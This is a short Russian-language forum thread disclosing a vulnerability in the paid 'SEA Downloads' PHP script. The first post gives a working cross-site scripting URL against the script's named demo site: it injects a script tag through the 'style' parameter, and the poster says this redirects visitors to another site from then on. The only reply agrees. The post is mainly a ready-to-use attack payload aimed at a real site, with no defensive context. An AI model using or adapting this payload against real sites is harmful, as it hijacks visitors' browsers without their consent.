Уязвимость SEA Downoloads

Печать RSS
78

V

Пришелец
0
Собственно платный движек:
http://wapinet.ru/buy_php_scripts
Пример:
http://sea.wapinet.ru/

Уязвимость:
http://sea.wapinet.ru/?url=somebody.com&style=sea.wapinet.ru/style/style.css"><script>location.href="//visavi.net";</script>

Если хотя бы раз подключить юзера к этому линку,то при переходе на
http://sea.wapinet.ru
его будет бросать на http://visavi.net smile
В

Пацак
0
Точняк
Стикеры / Теги / Правила / Топ тем / Топ тем / Поиск